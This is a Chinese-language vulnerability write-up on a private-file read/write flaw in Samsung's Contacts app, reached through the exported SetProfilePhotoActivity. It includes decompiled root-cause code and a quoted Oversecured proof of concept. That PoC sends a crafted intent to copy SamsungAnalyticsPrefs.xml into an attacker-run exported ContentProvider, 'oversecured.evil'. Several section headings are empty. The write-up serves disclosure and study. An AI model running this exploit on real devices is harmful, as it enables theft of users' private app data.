Date
Version
Description
Author
0x00 漏洞概述
0x01 触发条件
com.samsung.android.app.contacts
60579c925977ca29b889d32085a0c350
0x02 PoC
0x03 前置知识
0x04 Root Cause Analysis
组件com.samsung.android.contacts.editor.SetProfilePhotoActivity
导出
<activity
android:configChanges="keyboardHidden|orientation|screenSize"
android:hardwareAccelerated="false"
android:icon="@mipmap/ic_launcher_contacts"
android:label="@string/share_my_profile"
android:name="com.samsung.android.contacts.editor.SetProfilePhotoActivity"
android:taskAffinity=""
android:theme="@style/BackgroundOnlyTheme">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<data android:mimeType="image/*"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<intent-filter>
<action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
<data android:mimeType="image/*"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
前面的分析和漏洞《[CVE-2021-25413] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有组件启动漏洞可获取ContentProvider数据》一样
https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/cve202125413samsungcontactscomsamsungandroidappcontacts1211030setprofilephotoactivity-dao-chu-cun-za
在调用异步任务的时候,方法doInBackground()
事实上被我们构造数据退出去了
// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
@Override // android.os.AsyncTask
protected Object doInBackground(Object[] arr_object) {
return this.a(((Void[])arr_object)); // [1]
}
方法a()
调用savePhotoFromUriToUri()
// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
protected Void a(Void[] arr_void) {
SetProfilePhotoActivity setProfilePhotoActivity_ = (SetProfilePhotoActivity)this.setProfilePhotoActivity0.get();
if(setProfilePhotoActivity_ == null) {
return null;
}
this.savePhotoFromUriToUri(setProfilePhotoActivity_); // [1]
return null;
}
跟另外一个漏洞不一样的是,本次走的是[6]
调用方法S()
// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
private void savePhotoFromUriToUri(SetProfilePhotoActivity setProfilePhotoActivity) {
Uri __uri__;
ClipData __clipData__ = setProfilePhotoActivity.getIntent().getClipData(); // [1]
if(__clipData__ != null && __clipData__.getItemCount() == 1 && __clipData__.getItemAt(0) != null) {
__uri__ = __clipData__.getItemAt(0).getUri(); // [2]
if(!this.setPhotoUri(setProfilePhotoActivity, __uri__)) { // [3]
return;
}
}
else {
__uri__ = null;
}
if(__uri__ == null) {
if(setProfilePhotoActivity.getIntent().getExtras() != null && setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri", null) != null) {
__uri__ = Uri.parse(setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri")); // [4]
goto label_48;
}
setProfilePhotoActivity.finish(); // [5]
return;
}
try {
label_48:
PhotoDataUtils.S(__uri__, setProfilePhotoActivity.__intent_tmp_photo_uri__, false); // [6]
}
catch(SecurityException securityException0) {
...
}
...
}
方法S()
初始化了PhotoDataUtils
实例后调用方法T()
// com.samsung.android.contacts.editor.n.PhotoDataUtils
public static boolean S(Uri __uri__, Uri __intent_tmp_photo_uri__, boolean z) {
PhotoDataUtils.getInstance();
return PhotoDataUtils.mInstance.T(__uri__, __intent_tmp_photo_uri__, ((boolean)(((int)z)))); // [1]
}
[1]
构造文件写出的位置,路径外部可控,[2]
构造文件读取的位置,路径外部可控,[3]
进行读,[4]
进行写,读和写两个文件路径都可控,所以此处存在任意私有文件读写漏洞
// com.samsung.android.contacts.editor.n.PhotoDataUtils
public boolean T(Uri __uri__, Uri __intent_tmp_photo_uri__, boolean z) {
InputStream inputStream;
FileOutputStream fileOutputStream;
if(__uri__ != null && __intent_tmp_photo_uri__ != null && !this.N(__uri__)) {
Context context = ApplicationUtil.getContext();
try {
fileOutputStream = context.getContentResolver().openAssetFileDescriptor(__intent_tmp_photo_uri__, "rw").createOutputStream(); // [1]
inputStream = context.getContentResolver().openInputStream(__uri__); // [2]
}
catch(IOException | NullPointerException nullPointerException) {
goto label_77;
}
try {
byte[] arr_b = new byte[0x4000];
int v = 0;
if(inputStream != null) {
while(true) {
int readCount = inputStream.read(arr_b); // [3]
if(readCount <= 0) {
break;
}
fileOutputStream.write(arr_b, 0, readCount); // [4]
v += readCount;
}
}
AppLog.l("PhotoDataUtils", "Wrote " + v + " bytes for photo " + __uri__.toString());
goto label_57;
}
catch(Throwable throwable2) {
}
AppLog.i("PhotoDataUtils", "Failed to write photo: " + __uri__.toString() + " because: " + nullPointerException);
if(z) {
context.getContentResolver().delete(__uri__, null, null);
}
return false;
label_97:
if(z) {
context.getContentResolver().delete(__uri__, null, null);
}
label_102:
if(z) {
context.getContentResolver().delete(__uri__, null, null);
}
return true;
}
AppLog.l("PhotoDataUtils", "can not save image " + __uri__ + " " + __intent_tmp_photo_uri__);
return false;
}
完整的逻辑调用图
0x05 调试与利用
Oversecured实验室的PoC
String path = new File(getApplicationInfo().dataDir, "dump").getAbsolutePath();
String theft = "/data/data/com.samsung.android.app.contacts/shared_prefs/SamsungAnalyticsPrefs.xml";
Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("shared_photo_uri", "content://com.samsung.contacts.backup" + theft); // input
i.putExtra("temp_photo_uri", "content://oversecured.evil/?path=" + path); // output
i.putExtra("cropped_photo_uri", "");
i.putExtra("mimeType", "x");
startActivity(i);
new Handler().postDelayed(() -> {
try {
Log.d("evil", IOUtils.toString(new FileInputStream(path)));
} catch (Throwable th) {
throw new RuntimeException(th);
}
}, 1000);
构造一个ContentProvider用于文件操作
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
try {
return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
} catch (Throwable th) {
return null;
}
}
Manifest配置为导出,这样才可以被三方应用调用
<provider android:name=".MyContentProvider" android:authorities="oversecured.evil" android:exported="true" />
0x06 漏洞研究
0x07 References
《Two weeks of securing Samsung devices: Part 2》
https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-2/
附录:调试过程记录